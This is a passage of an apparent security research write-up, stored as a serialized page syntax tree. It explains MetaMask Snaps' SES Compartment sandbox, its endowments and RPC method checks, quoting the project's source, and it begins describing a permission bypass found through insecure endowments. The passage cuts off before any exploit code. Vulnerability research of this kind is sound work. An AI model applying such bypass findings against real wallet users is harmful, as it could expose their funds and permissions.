false\n",{"type":25,"tag":216,"props":41454,"children":41455},{"class":6916,"line":6772},[41456,41460,41464,41468,41472,41477,41481,41486,41490],{"type":25,"tag":216,"props":41457,"children":41458},{"style":6941},[41459],{"type":31,"value":2248},{"type":25,"tag":216,"props":41461,"children":41462},{"style":6958},[41463],{"type":31,"value":179},{"type":25,"tag":216,"props":41465,"children":41466},{"style":6941},[41467],{"type":31,"value":41374},{"type":25,"tag":216,"props":41469,"children":41470},{"style":6958},[41471],{"type":31,"value":179},{"type":25,"tag":216,"props":41473,"children":41474},{"style":6941},[41475],{"type":31,"value":41476},"JSON",{"type":25,"tag":216,"props":41478,"children":41479},{"style":6947},[41480],{"type":31,"value":35378},{"type":25,"tag":216,"props":41482,"children":41483},{"style":6941},[41484],{"type":31,"value":41485}," JSON",{"type":25,"tag":216,"props":41487,"children":41488},{"style":6958},[41489],{"type":31,"value":21178},{"type":25,"tag":216,"props":41491,"children":41492},{"style":6921},[41493],{"type":31,"value":41494},"// true\n",{"type":25,"tag":38,"props":41496,"children":41497},{},[41498,41500,41506,41508,41514,41516,41521],{"type":31,"value":41499},"Compartment also changes the behaviour of evaluators functions such as ",{"type":25,"tag":82,"props":41501,"children":41503},{"className":41502},[],[41504],{"type":31,"value":41505},"eval",{"type":31,"value":41507}," and the ",{"type":25,"tag":82,"props":41509,"children":41511},{"className":41510},[],[41512],{"type":31,"value":41513},"Function",{"type":31,"value":41515}," constructor, so that the evaluated code is also executed within the sandboxed ",{"type":25,"tag":82,"props":41517,"children":41519},{"className":41518},[],[41520],{"type":31,"value":41374},{"type":31,"value":179},{"type":25,"tag":41303,"props":41523,"children":41525},{"id":41524},"endowments",[41526],{"type":31,"value":41527},"Endowments",{"type":25,"tag":38,"props":41529,"children":41530},{},[41531,41533,41537,41539,41544],{"type":31,"value":41532},"While creating a Compartment, it is possible to specify ",{"type":25,"tag":64,"props":41534,"children":41535},{},[41536],{"type":31,"value":41524},{"type":31,"value":41538},". These endowments constitute objects that become accessible within the Compartment's ",{"type":25,"tag":82,"props":41540,"children":41542},{"className":41541},[],[41543],{"type":31,"value":41374},{"type":31,"value":41545},". However, endowments need to be carefully chosen and sanitized since they will be exposed to the untrusted environment.",{"type":25,"tag":38,"props":41547,"children":41548},{},[41549,41551,41557],{"type":31,"value":41550},"In addition, SES provides the ",{"type":25,"tag":82,"props":41552,"children":41554},{"className":41553},[],[41555],{"type":31,"value":41556},"harden()",{"type":31,"value":41558}," function, which is mainly used to prevent the endowments to be modified by a malicious code executed in a Compartment.",{"type":25,"tag":631,"props":41560,"children":41562},{"id":41561},"setting-up-snaps-execution-env",[41563],{"type":31,"value":41564},"Setting up Snaps Execution Env",{"type":25,"tag":38,"props":41566,"children":41567},{},[41568],{"type":31,"value":41569},"When starting a snap, the setup follows these steps:",{"type":25,"tag":6705,"props":41571,"children":41572},{},[41573],{"type":25,"tag":2037,"props":41574,"children":41575},{},[41576],{"type":25,"tag":9267,"props":41577,"children":41578},{},[41579,41581],{"type":31,"value":41580},"Create endowments based on snap ",{"type":25,"tag":162,"props":41582,"children":41585},{"href":41583,"rel":41584},"https://github.com/MetaMask/snaps/blob/92fcf31678c13067615e6e69681e57a542a2c58a/packages/snaps-execution-environments/src/common/BaseSnapExecutor.ts#L327",[166],[41586],{"type":31,"value":41587},"permissions",{"type":25,"tag":206,"props":41589,"children":41591},{"className":39570,"code":41590,"language":39572,"meta":7,"style":7},"const { endowments, teardown: endowmentTeardown } = createEndowments(\n    snap,\n    ethereum,\n    snapId,\n    _endowments,\n);\n",[41592],{"type":25,"tag":82,"props":41593,"children":41594},{"__ignoreMap":7},[41595,41645,41657,41668,41680,41692],{"type":25,"tag":216,"props":41596,"children":41597},{"class":6916,"line":6917},[41598,41602,41606,41610,41614,41619,41623,41628,41632,41636,41641],{"type":25,"tag":216,"props":41599,"children":41600},{"style":6930},[41601],{"type":31,"value":13605},{"type":25,"tag":216,"props":41603,"children":41604},{"style":6958},[41605],{"type":31,"value":13536},{"type":25,"tag":216,"props":41607,"children":41608},{"style":6941},[41609],{"type":31,"value":41524},{"type":25,"tag":216,"props":41611,"children":41612},{"style":6958},[41613],{"type":31,"value":7020},{"type":25,"tag":216,"props":41615,"children":41616},{"style":6941},[41617],{"type":31,"value":41618},"teardown",{"type":25,"tag":216,"props":41620,"children":41621},{"style":6958},[41622],{"type":31,"value":19282},{"type":25,"tag":216,"props":41624,"children":41625},{"style":6941},[41626],{"type":31,"value":41627},"endowmentTeardown",{"type":25,"tag":216,"props":41629,"children":41630},{"style":6958},[41631],{"type":31,"value":40159},{"type":25,"tag":216,"props":41633,"children":41634},{"style":6947},[41635],{"type":31,"value":266},{"type":25,"tag":216,"props":41637,"children":41638},{"style":7041},[41639],{"type":31,"value":41640}," createEndowments",{"type":25,"tag":216,"props":41642,"children":41643},{"style":6958},[41644],{"type":31,"value":7414},{"type":25,"tag":216,"props":41646,"children":41647},{"class":6916,"line":6763},[41648,41653],{"type":25,"tag":216,"props":41649,"children":41650},{"style":6941},[41651],{"type":31,"value":41652},"    snap",{"type":25,"tag":216,"props":41654,"children":41655},{"style":6958},[41656],{"type":31,"value":7459},{"type":25,"tag":216,"props":41658,"children":41659},{"class":6916,"line":6772},[41660,41664],{"type":25,"tag":216,"props":41661,"children":41662},{"style":6941},[41663],{"type":31,"value":35440},{"type":25,"tag":216,"props":41665,"children":41666},{"style":6958},[41667],{"type":31,"value":7459},{"type":25,"tag":216,"props":41669,"children":41670},{"class":6916,"line":6999},[41671,41676],{"type":25,"tag":216,"props":41672,"children":41673},{"style":6941},[41674],{"type":31,"value":41675},"    snapId",{"type":25,"tag":216,"props":41677,"children":41678},{"style":6958},[41679],{"type":31,"value":7459},{"type":25,"tag":216,"props":41681,"children":41682},{"class":6916,"line":7104},[41683,41688],{"type":25,"tag":216,"props":41684,"children":41685},{"style":6941},[41686],{"type":31,"value":41687},"    _endowments",{"type":25,"tag":216,"props":41689,"children":41690},{"style":6958},[41691],{"type":31,"value":7459},{"type":25,"tag":216,"props":41693,"children":41694},{"class":6916,"line":7210},[41695],{"type":25,"tag":216,"props":41696,"children":41697},{"style":6958},[41698],{"type":31,"value":7791},{"type":25,"tag":38,"props":41700,"children":41701},{},[41702],{"type":31,"value":41703},"In the snap development, the required permissions need to be specified in a snap manifest file. Some of these permissions expose extra functions as endowments in the Compartment.",{"type":25,"tag":38,"props":41705,"children":41706},{},[41707,41709,41715,41717,41723],{"type":31,"value":41708},"One clear example is the ",{"type":25,"tag":82,"props":41710,"children":41712},{"className":41711},[],[41713],{"type":31,"value":41714},"endowment:network-access",{"type":31,"value":41716}," permission, that adds the ",{"type":25,"tag":82,"props":41718,"children":41720},{"className":41719},[],[41721],{"type":31,"value":41722},"fetch()",{"type":31,"value":41724}," function to the endowments.",{"type":25,"tag":38,"props":41726,"children":41727},{},[41728,41730,41736],{"type":31,"value":41729},"All endowments are protected with the ",{"type":25,"tag":82,"props":41731,"children":41733},{"className":41732},[],[41734],{"type":31,"value":41735},"harden",{"type":31,"value":41737}," function to prevent possible exploits derived from the endowment modification, with two exceptions.",{"type":25,"tag":6705,"props":41739,"children":41740},{"start":6763},[41741],{"type":25,"tag":2037,"props":41742,"children":41743},{},[41744],{"type":25,"tag":9267,"props":41745,"children":41746},{},[41747,41749],{"type":31,"value":41748},"Create the snap ",{"type":25,"tag":162,"props":41750,"children":41753},{"href":41751,"rel":41752},"https://github.com/MetaMask/snaps/blob/92fcf31678c13067615e6e69681e57a542a2c58a/packages/snaps-execution-environments/src/common/BaseSnapExecutor.ts#L345",[166],[41754],{"type":31,"value":41360},{"type":25,"tag":206,"props":41756,"children":41758},{"className":39570,"code":41757,"language":39572,"meta":7,"style":7},"const compartment = new Compartment({\n    ...endowments,\n    module: snapModule,\n    exports: snapModule.exports,\n});\n",[41759],{"type":25,"tag":82,"props":41760,"children":41761},{"__ignoreMap":7},[41762,41790,41806,41823,41848],{"type":25,"tag":216,"props":41763,"children":41764},{"class":6916,"line":6917},[41765,41769,41774,41778,41782,41786],{"type":25,"tag":216,"props":41766,"children":41767},{"style":6930},[41768],{"type":31,"value":13605},{"type":25,"tag":216,"props":41770,"children":41771},{"style":6941},[41772],{"type":31,"value":41773}," compartment",{"type":25,"tag":216,"props":41775,"children":41776},{"style":6947},[41777],{"type":31,"value":6950},{"type":25,"tag":216,"props":41779,"children":41780},{"style":6930},[41781],{"type":31,"value":35889},{"type":25,"tag":216,"props":41783,"children":41784},{"style":7041},[41785],{"type":31,"value":41415},{"type":25,"tag":216,"props":41787,"children":41788},{"style":6958},[41789],{"type":31,"value":19092},{"type":25,"tag":216,"props":41791,"children":41792},{"class":6916,"line":6763},[41793,41798,41802],{"type":25,"tag":216,"props":41794,"children":41795},{"style":6947},[41796],{"type":31,"value":41797},"    ...",{"type":25,"tag":216,"props":41799,"children":41800},{"style":6941},[41801],{"type":31,"value":41524},{"type":25,"tag":216,"props":41803,"children":41804},{"style":6958},[41805],{"type":31,"value":7459},{"type":25,"tag":216,"props":41807,"children":41808},{"class":6916,"line":6772},[41809,41814,41819],{"type":25,"tag":216,"props":41810,"children":41811},{"style":6941},[41812],{"type":31,"value":41813},"    module:",{"type":25,"tag":216,"props":41815,"children":41816},{"style":6941},[41817],{"type":31,"value":41818}," snapModule",{"type":25,"tag":216,"props":41820,"children":41821},{"style":6958},[41822],{"type":31,"value":7459},{"type":25,"tag":216,"props":41824,"children":41825},{"class":6916,"line":6999},[41826,41831,41835,41839,41844],{"type":25,"tag":216,"props":41827,"children":41828},{"style":6941},[41829],{"type":31,"value":41830},"    exports:",{"type":25,"tag":216,"props":41832,"children":41833},{"style":6941},[41834],{"type":31,"value":41818},{"type":25,"tag":216,"props":41836,"children":41837},{"style":6958},[41838],{"type":31,"value":179},{"type":25,"tag":216,"props":41840,"children":41841},{"style":6941},[41842],{"type":31,"value":41843},"exports",{"type":25,"tag":216,"props":41845,"children":41846},{"style":6958},[41847],{"type":31,"value":7459},{"type":25,"tag":216,"props":41849,"children":41850},{"class":6916,"line":7104},[41851],{"type":25,"tag":216,"props":41852,"children":41853},{"style":6958},[41854],{"type":31,"value":39295},{"type":25,"tag":38,"props":41856,"children":41857},{},[41858,41860,41866,41867,41872,41874,41879],{"type":31,"value":41859},"Note: ",{"type":25,"tag":82,"props":41861,"children":41863},{"className":41862},[],[41864],{"type":31,"value":41865},"module",{"type":31,"value":1301},{"type":25,"tag":82,"props":41868,"children":41870},{"className":41869},[],[41871],{"type":31,"value":41843},{"type":31,"value":41873}," are passed as endowments, but without being ",{"type":25,"tag":64,"props":41875,"children":41876},{},[41877],{"type":31,"value":41878},"hardened",{"type":31,"value":41880},". This is intentional, as the snap needs to export functions to be correctly executed.",{"type":25,"tag":6705,"props":41882,"children":41883},{"start":6772},[41884],{"type":25,"tag":2037,"props":41885,"children":41886},{},[41887],{"type":25,"tag":9267,"props":41888,"children":41889},{},[41890,41892],{"type":31,"value":41891},"Evaluate the snap code inside the ",{"type":25,"tag":162,"props":41893,"children":41896},{"href":41894,"rel":41895},"https://github.com/MetaMask/snaps/blob/92fcf31678c13067615e6e69681e57a542a2c58a/packages/snaps-execution-environments/src/common/BaseSnapExecutor.ts#L359",[166],[41897],{"type":31,"value":41360},{"type":25,"tag":206,"props":41899,"children":41901},{"className":39570,"code":41900,"language":39572,"meta":7,"style":7},"await this.executeInSnapContext(snapId, () => {\n    compartment.evaluate(sourceCode);\n    this.registerSnapExports(snapId, snapModule);\n});\n",[41902],{"type":25,"tag":82,"props":41903,"children":41904},{"__ignoreMap":7},[41905,41946,41976,42013],{"type":25,"tag":216,"props":41906,"children":41907},{"class":6916,"line":6917},[41908,41912,41916,41920,41925,41929,41933,41938,41942],{"type":25,"tag":216,"props":41909,"children":41910},{"style":6967},[41911],{"type":31,"value":36872},{"type":25,"tag":216,"props":41913,"children":41914},{"style":6930},[41915],{"type":31,"value":39673},{"type":25,"tag":216,"props":41917,"children":41918},{"style":6958},[41919],{"type":31,"value":179},{"type":25,"tag":216,"props":41921,"children":41922},{"style":7041},[41923],{"type":31,"value":41924},"executeInSnapContext",{"type":25,"tag":216,"props":41926,"children":41927},{"style":6958},[41928],{"type":31,"value":1844},{"type":25,"tag":216,"props":41930,"children":41931},{"style":6941},[41932],{"type":31,"value":39977},{"type":25,"tag":216,"props":41934,"children":41935},{"style":6958},[41936],{"type":31,"value":41937},", () ",{"type":25,"tag":216,"props":41939,"children":41940},{"style":6930},[41941],{"type":31,"value":18773},{"type":25,"tag":216,"props":41943,"children":41944},{"style":6958},[41945],{"type":31,"value":7235},{"type":25,"tag":216,"props":41947,"children":41948},{"class":6916,"line":6763},[41949,41954,41958,41963,41967,41972],{"type":25,"tag":216,"props":41950,"children":41951},{"style":6941},[41952],{"type":31,"value":41953},"    compartment",{"type":25,"tag":216,"props":41955,"children":41956},{"style":6958},[41957],{"type":31,"value":179},{"type":25,"tag":216,"props":41959,"children":41960},{"style":7041},[41961],{"type":31,"value":41962},"evaluate",{"type":25,"tag":216,"props":41964,"children":41965},{"style":6958},[41966],{"type":31,"value":1844},{"type":25,"tag":216,"props":41968,"children":41969},{"style":6941},[41970],{"type":31,"value":41971},"sourceCode",{"type":25,"tag":216,"props":41973,"children":41974},{"style":6958},[41975],{"type":31,"value":7791},{"type":25,"tag":216,"props":41977,"children":41978},{"class":6916,"line":6772},[41979,41983,41987,41992,41996,42000,42004,42009],{"type":25,"tag":216,"props":41980,"children":41981},{"style":6930},[41982],{"type":31,"value":40021},{"type":25,"tag":216,"props":41984,"children":41985},{"style":6958},[41986],{"type":31,"value":179},{"type":25,"tag":216,"props":41988,"children":41989},{"style":7041},[41990],{"type":31,"value":41991},"registerSnapExports",{"type":25,"tag":216,"props":41993,"children":41994},{"style":6958},[41995],{"type":31,"value":1844},{"type":25,"tag":216,"props":41997,"children":41998},{"style":6941},[41999],{"type":31,"value":39977},{"type":25,"tag":216,"props":42001,"children":42002},{"style":6958},[42003],{"type":31,"value":7020},{"type":25,"tag":216,"props":42005,"children":42006},{"style":6941},[42007],{"type":31,"value":42008},"snapModule",{"type":25,"tag":216,"props":42010,"children":42011},{"style":6958},[42012],{"type":31,"value":7791},{"type":25,"tag":216,"props":42014,"children":42015},{"class":6916,"line":6999},[42016],{"type":25,"tag":216,"props":42017,"children":42018},{"style":6958},[42019],{"type":31,"value":39295},{"type":25,"tag":38,"props":42021,"children":42022},{},[42023,42025,42031,42032,42038,42039,42045],{"type":31,"value":42024},"According to the documentation, the snap must contain one of the following function exports: ",{"type":25,"tag":82,"props":42026,"children":42028},{"className":42027},[],[42029],{"type":31,"value":42030},"onRpcRequest",{"type":31,"value":7020},{"type":25,"tag":82,"props":42033,"children":42035},{"className":42034},[],[42036],{"type":31,"value":42037},"onTransaction",{"type":31,"value":17084},{"type":25,"tag":82,"props":42040,"children":42042},{"className":42041},[],[42043],{"type":31,"value":42044},"onCronjob",{"type":31,"value":179},{"type":25,"tag":38,"props":42047,"children":42048},{},[42049,42051,42056],{"type":31,"value":42050},"Once the Compartment creates these functions, no matter where they are executed, they will always be evaluated within the sandboxed ",{"type":25,"tag":82,"props":42052,"children":42054},{"className":42053},[],[42055],{"type":31,"value":41374},{"type":31,"value":42057}," environment of that Compartment.",{"type":25,"tag":38,"props":42059,"children":42060},{},[42061],{"type":31,"value":42062},"After the evaluation, the function exports are registered and executed later when the respective event is emmited.",{"type":25,"tag":26,"props":42064,"children":42066},{"id":42065},"vulnerability-research",[42067],{"type":31,"value":42068},"Vulnerability research",{"type":25,"tag":607,"props":42070,"children":42072},{"id":42071},"possible-attacks",[42073],{"type":31,"value":42074},"Possible attacks",{"type":25,"tag":38,"props":42076,"children":42077},{},[42078],{"type":31,"value":42079},"While searching for vulnerabilities in snap environments, we enumerated some features that can be broken, and lead to security issues, such as:",{"type":25,"tag":2033,"props":42081,"children":42082},{},[42083,42088,42093,42098],{"type":25,"tag":2037,"props":42084,"children":42085},{},[42086],{"type":31,"value":42087},"Broken SES Container isolation",{"type":25,"tag":2037,"props":42089,"children":42090},{},[42091],{"type":31,"value":42092},"Insecure endowments in Containers",{"type":25,"tag":2037,"props":42094,"children":42095},{},[42096],{"type":31,"value":42097},"Incorrect RPC permission checks",{"type":25,"tag":2037,"props":42099,"children":42100},{},[42101],{"type":31,"value":42102},"Insecure snap installation/update",{"type":25,"tag":38,"props":42104,"children":42105},{},[42106],{"type":31,"value":42107},"We went through all of these vulnerabilities assumptions, and found a minor permission bypass bug using insecure endowments.",{"type":25,"tag":38,"props":42109,"children":42110},{},[42111],{"type":31,"value":42112},"To understand the exploit, we need to dig into the snap's RPC interfaces exposed via endowments.",{"type":25,"tag":607,"props":42114,"children":42116},{"id":42115},"rpc-interfaces-endowments",[42117],{"type":31,"value":42118},"RPC interfaces endowments",{"type":25,"tag":631,"props":42120,"children":42122},{"id":42121},"providers-limitations",[42123],{"type":31,"value":42124},"Providers limitations",{"type":25,"tag":38,"props":42126,"children":42127},{},[42128,42130,42136,42137,42142,42144,42151],{"type":31,"value":42129},"A snap has two interfaces that can be used to communicate with metamask RPC interface: ",{"type":25,"tag":82,"props":42131,"children":42133},{"className":42132},[],[42134],{"type":31,"value":42135},"snap",{"type":31,"value":1301},{"type":25,"tag":82,"props":42138,"children":42140},{"className":42139},[],[42141],{"type":31,"value":35373},{"type":31,"value":42143}," (EIP-1193). These differ in that each one can only send a subset of the available RPC ",{"type":25,"tag":162,"props":42145,"children":42148},{"href":42146,"rel":42147},"https://github.com/MetaMask/snaps/blob/92fcf31678c13067615e6e69681e57a542a2c58a/packages/snaps-execution-environments/src/common/utils.ts#L130",[166],[42149],{"type":31,"value":42150},"methods",{"type":31,"value":1466},{"type":25,"tag":206,"props":42153,"children":42155},{"className":39570,"code":42154,"language":39572,"meta":7,"style":7},"export function assertSnapOutboundRequest(args: RequestArguments) {\n  // Disallow any non `wallet_` or `snap_` methods for separation of concerns.\n  assert(\n    String.prototype.startsWith.call(args.method, 'wallet_') ||\n      String.prototype.startsWith.call(args.method, 'snap_'),\n    'The global Snap API only allows RPC methods starting with `wallet_*` and `snap_*`.',\n  );\n  assert(\n    !BLOCKED_RPC_METHODS.includes(args.method),\n    ethErrors.rpc.methodNotFound({\n      data: {\n        method: args.method,\n      },\n    }),\n  );\n  assertStruct(args, JsonStruct, 'Provided value is not JSON-RPC compatible');\n}\n",[42156],{"type":25,"tag":82,"props":42157,"children":42158},{"__ignoreMap":7},[42159,42199,42207,42219,42289,42350,42362,42370,42381,42421,42451,42463,42488,42495,42503,42510,42548],{"type":25,"tag":216,"props":42160,"children":42161},{"class":6916,"line":6917},[42162,42167,42172,42177,42181,42186,42190,42195],{"type":25,"tag":216,"props":42163,"children":42164},{"style":6967},[42165],{"type":31,"value":42166},"export",{"type":25,"tag":216,"props":42168,"children":42169},{"style":6930},[42170],{"type":31,"value":42171}," function",{"type":25,"tag":216,"props":42173,"children":42174},{"style":7041},[42175],{"type":31,"value":42176}," assertSnapOutboundRequest",{"type":25,"tag":216,"props":42178,"children":42179},{"style":6958},[42180],{"type":31,"value":1844},{"type":25,"tag":216,"props":42182,"children":42183},{"style":6941},[42184],{"type":31,"value":42185},"args",{"type":25,"tag":216,"props":42187,"children":42188},{"style":6947},[42189],{"type":31,"value":1466},{"type":25,"tag":216,"props":42191,"children":42192},{"style":7369},[42193],{"type":31,"value":42194}," RequestArguments",{"type":25,"tag":216,"props":42196,"children":42197},{"style":6958},[42198],{"type":31,"value":18755},{"type":25,"tag":216,"props":42200,"children":42201},{"class":6916,"line":6763},[42202],{"type":25,"tag":216,"props":42203,"children":42204},{"style":6921},[42205],{"type":31,"value":42206},"  // Disallow any non `wallet_` or `snap_` methods for separation of concerns.\n",{"type":25,"tag":216,"props":42208,"children":42209},{"class":6916,"line":6772},[42210,42215],{"type":25,"tag":216,"props":42211,"children":42212},{"style":7041},[42213],{"type":31,"value":42214},"  assert",{"type":25,"tag":216,"props":42216,"children":42217},{"style":6958},[42218],{"type":31,"value":7414},{"type":25,"tag":216,"props":42220,"children":42221},{"class":6916,"line":6999},[42222,42227,42231,42236,42240,42245,42249,42254,42258,42262,42266,42271,42275,42280,42284],{"type":25,"tag":216,"props":42223,"children":42224},{"style":7369},[42225],{"type":31,"value":42226},"    String",{"type":25,"tag":216,"props":42228,"children":42229},{"style":6958},[42230],{"type":31,"value":179},{"type":25,"tag":216,"props":42232,"children":42233},{"style":6941},[42234],{"type":31,"value":42235},"prototype",{"type":25,"tag":216,"props":42237,"children":42238},{"style":6958},[42239],{"type":31,"value":179},{"type":25,"tag":216,"props":42241,"children":42242},{"style":6941},[42243],{"type":31,"value":42244},"startsWith",{"type":25,"tag":216,"props":42246,"children":42247},{"style":6958},[42248],{"type":31,"value":179},{"type":25,"tag":216,"props":42250,"children":42251},{"style":7041},[42252],{"type":31,"value":42253},"call",{"type":25,"tag":216,"props":42255,"children":42256},{"style":6958},[42257],{"type":31,"value":1844},{"type":25,"tag":216,"props":42259,"children":42260},{"style":6941},[42261],{"type":31,"value":42185},{"type":25,"tag":216,"props":42263,"children":42264},{"style":6958},[42265],{"type":31,"value":179},{"type":25,"tag":216,"props":42267,"children":42268},{"style":6941},[42269],{"type":31,"value":42270},"method",{"type":25,"tag":216,"props":42272,"children":42273},{"style":6958},[42274],{"type":31,"value":7020},{"type":25,"tag":216,"props":42276,"children":42277},{"style":8199},[42278],{"type":31,"value":42279},"'wallet_'",{"type":25,"tag":216,"props":42281,"children":42282},{"style":6958},[42283],{"type":31,"value":7030},{"type":25,"tag":216,"props":42285,"children":42286},{"style":6947},[42287],{"type":31,"value":42288},"||\n",{"type":25,"tag":216,"props":42290,"children":42291},{"class":6916,"line":7104},[42292,42297,42301,42305,42309,42313,42317,42321,42325,42329,42333,42337,42341,42346],{"type":25,"tag":216,"props":42293,"children":42294},{"style":7369},[42295],{"type":31,"value":42296},"      String",{"type":25,"tag":216,"props":42298,"children":42299},{"style":6958},[42300],{"type":31,"value":179},{"type":25,"tag":216,"props":42302,"children":42303},{"style":6941},[42304],{"type":31,"value":42235},{"type":25,"tag":216,"props":42306,"children":42307},{"style":6958},[42308],{"type":31,"value":179},{"type":25,"tag":216,"props":42310,"children":42311},{"style":6941},[42312],{"type":31,"value":42244},{"type":25,"tag":216,"props":42314,"children":42315},{"style":6958},[42316],{"type":31,"value":179},{"type":25,"tag":216,"props":42318,"children":42319},{"style":7041},[42320],{"type":31,"value":42253},{"type":25,"tag":216,"props":42322,"children":42323},{"style":6958},[42324],{"type":31,"value":1844},{"type":25,"tag":216,"props":42326,"children":42327},{"style":6941},[42328],{"type":31,"value":42185},{"type":25,"tag":216,"props":42330,"children":42331},{"style":6958},[42332],{"type":31,"value":179},{"type":25,"tag":216,"props":42334,"children":42335},{"style":6941},[42336],{"type":31,"value":42270},{"type":25,"tag":216,"props":42338,"children":42339},{"style":6958},[42340],{"type":31,"value":7020},{"type":25,"tag":216,"props":42342,"children":42343},{"style":8199},[42344],{"type":31,"value":42345},"'snap_'",{"type":25,"tag":216,"props":42347,"children":42348},{"style":6958},[42349],{"type":31,"value":10682},{"type":25,"tag":216,"props":42351,"children":42352},{"class":6916,"line":7210},[42353,42358],{"type":25,"tag":216,"props":42354,"children":42355},{"style":8199},[42356],{"type":31,"value":42357},"    'The global Snap API only allows RPC methods starting with `wallet_*` and `snap_*`.'",{"type":25,"tag":216,"props":42359,"children":42360},{"style":6958},[42361],{"type":31,"value":7459},{"type":25,"tag":216,"props":42363,"children":42364},{"class":6916,"line":7238},[42365],{"type":25,"tag":216,"props":42366,"children":42367},{"style":6958},[42368],{"type":31,"value":42369},"  );\n",{"type":25,"tag":216,"props":42371,"children":42372},{"class":6916,"line":7251},[42373,42377],{"type":25,"tag":216,"props":42374,"children":42375},{"style":7041},[42376],{"type":31,"value":42214},{"type":25,"tag":216,"props":42378,"children":42379},{"style":6958},[42380],{"type":31,"value":7414},{"type":25,"tag":216,"props":42382,"children":42383},{"class":6916,"line":7269},[42384,42388,42393,42397,42401,42405,42409,42413,42417],{"type":25,"tag":216,"props":42385,"children":42386},{"style":6947},[42387],{"type":31,"value":24924},{"type":25,"tag":216,"props":42389,"children":42390},{"style":6941},[42391],{"type":31,"value":42392},"BLOCKED_RPC_METHODS",{"type":25,"tag":216,"props":42394,"children":42395},{"style":6958},[42396],{"type":31,"value":179},{"type":25,"tag":216,"props":42398,"children":42399},{"style":7041},[42400],{"type":31,"value":39138},{"type":25,"tag":216,"props":42402,"children":42403},{"style":6958},[42404],{"type":31,"value":1844},{"type":25,"tag":216,"props":42406,"children":42407},{"style":6941},[42408],{"type":31,"value":42185},{"type":25,"tag":216,"props":42410,"children":42411},{"style":6958},[42412],{"type":31,"value":179},{"type":25,"tag":216,"props":42414,"children":42415},{"style":6941},[42416],{"type":31,"value":42270},{"type":25,"tag":216,"props":42418,"children":42419},{"style":6958},[42420],{"type":31,"value":10682},{"type":25,"tag":216,"props":42422,"children":42423},{"class":6916,"line":7290},[42424,42429,42433,42438,42442,42447],{"type":25,"tag":216,"props":42425,"children":42426},{"style":6941},[42427],{"type":31,"value":42428},"    ethErrors",{"type":25,"tag":216,"props":42430,"children":42431},{"style":6958},[42432],{"type":31,"value":179},{"type":25,"tag":216,"props":42434,"children":42435},{"style":6941},[42436],{"type":31,"value":42437},"rpc",{"type":25,"tag":216,"props":42439,"children":42440},{"style":6958},[42441],{"type":31,"value":179},{"type":25,"tag":216,"props":42443,"children":42444},{"style":7041},[42445],{"type":31,"value":42446},"methodNotFound",{"type":25,"tag":216,"props":42448,"children":42449},{"style":6958},[42450],{"type":31,"value":19092},{"type":25,"tag":216,"props":42452,"children":42453},{"class":6916,"line":7299},[42454,42459],{"type":25,"tag":216,"props":42455,"children":42456},{"style":6941},[42457],{"type":31,"value":42458},"      data:",{"type":25,"tag":216,"props":42460,"children":42461},{"style":6958},[42462],{"type":31,"value":7235},{"type":25,"tag":216,"props":42464,"children":42465},{"class":6916,"line":7551},[42466,42471,42476,42480,42484],{"type":25,"tag":216,"props":42467,"children":42468},{"style":6941},[42469],{"type":31,"value":42470},"        method:",{"type":25,"tag":216,"props":42472,"children":42473},{"style":6941},[42474],{"type":31,"value":42475}," args",{"type":25,"tag":216,"props":42477,"children":42478},{"style":6958},[42479],{"type":31,"value":179},{"type":25,"tag":216,"props":42481,"children":42482},{"style":6941},[42483],{"type":31,"value":42270},{"type":25,"tag":216,"props":42485,"children":42486},{"style":6958},[42487],{"type":31,"value":7459},{"type":25,"tag":216,"props":42489,"children":42490},{"class":6916,"line":7568},[42491],{"type":25,"tag":216,"props":42492,"children":42493},{"style":6958},[42494],{"type":31,"value":41156},{"type":25,"tag":216,"props":42496,"children":42497},{"class":6916,"line":7585},[42498],{"type":25,"tag":216,"props":42499,"children":42500},{"style":6958},[42501],{"type":31,"value":42502},"    }),\n",{"type":25,"tag":216,"props":42504,"children":42505},{"class":6916,"line":7598},[42506],{"type":25,"tag":216,"props":42507,"children":42508},{"style":6958},[42509],{"type":31,"value":42369},{"type":25,"tag":216,"props":42511,"children":42512},{"class":6916,"line":7607},[42513,42518,42522,42526,42530,42535,42539,42544],{"type":25,"tag":216,"props":42514,"children":42515},{"style":7041},[42516],{"type":31,"value":42517},"  assertStruct",{"type":25,"tag":216,"props":42519,"children":42520},{"style":6958},[42521],{"type":31,"value":1844},{"type":25,"tag":216,"props":42523,"children":42524},{"style":6941},[42525],{"type":31,"value":42185},{"type":25,"tag":216,"props":42527,"children":42528},{"style":6958},[42529],{"type":31,"value":7020},{"type":25,"tag":216,"props":42531,"children":42532},{"style":6941},[42533],{"type":31,"value":42534},"JsonStruct",{"type":25,"tag":216,"props":42536,"children":42537},{"style":6958},[42538],{"type":31,"value":7020},{"type":25,"tag":216,"props":42540,"children":42541},{"style":8199},[42542],{"type":31,"value":42543},"'Provided value is not JSON-RPC compatible'",{"type":25,"tag":216,"props":42545,"children":42546},{"style":6958},[42547],{"type":31,"value":7791},{"type":25,"tag":216,"props":42549,"children":42550},{"class":6916,"line":7630},[42551],{"type":25,"tag":216,"props":42552,"children":42553},{"style":6958},[42554],{"type":31,"value":7868},{"type":25,"tag":38,"props":42556,"children":42557},{},[42558,42560,42565,42567,42573,42574,42580],{"type":31,"value":42559},"This function is called by the ",{"type":25,"tag":82,"props":42561,"children":42563},{"className":42562},[],[42564],{"type":31,"value":42135},{"type":31,"value":42566}," RPC provider, so it can only send methods starting with ",{"type":25,"tag":82,"props":42568,"children":42570},{"className":42569},[],[42571],{"type":31,"value":42572},"wallet_",{"type":31,"value":17084},{"type":25,"tag":82,"props":42575,"children":42577},{"className":42576},[],[42578],{"type":31,"value":42579},"snap_",{"type":31,"value":42581},". In addition, there are some blocked RPC methods that immediately throw an error when encountered.",{"type":25,"tag":38,"props":42583,"children":42584},{},[42585,42587,42592,42594,42599,42601,42607],{"type":31,"value":42586},"On the other hand, the ",{"type":25,"tag":82,"props":42588,"children":42590},{"className":42589},[],[42591],{"type":31,"value":35373},{"type":31,"value":42593}," provider only blocks methods starting with ",{"type":25,"tag":82,"props":42595,"children":42597},{"className":42596},[],[42598],{"type":31,"value":42579},{"type":31,"value":42600}," and the blocked methods. However, it requires the ",{"type":25,"tag":82,"props":42602,"children":42604},{"className":42603},[],[42605],{"type":31,"value":42606},"endowment:ethereum-provider",{"type":31,"value":42608}," permission in the snap manifest.",{"type":25,"tag":631,"props":42610,"children":42612},{"id":42611},"execution-flow",[42613],{"type":31,"value":42614},"Execution flow",{"type":25,"tag":38,"props":42616,"children":42617},{},[42618,42620,42625,42626,42631,42633,42638,42639,42645],{"type":31,"value":42619},"Both providers 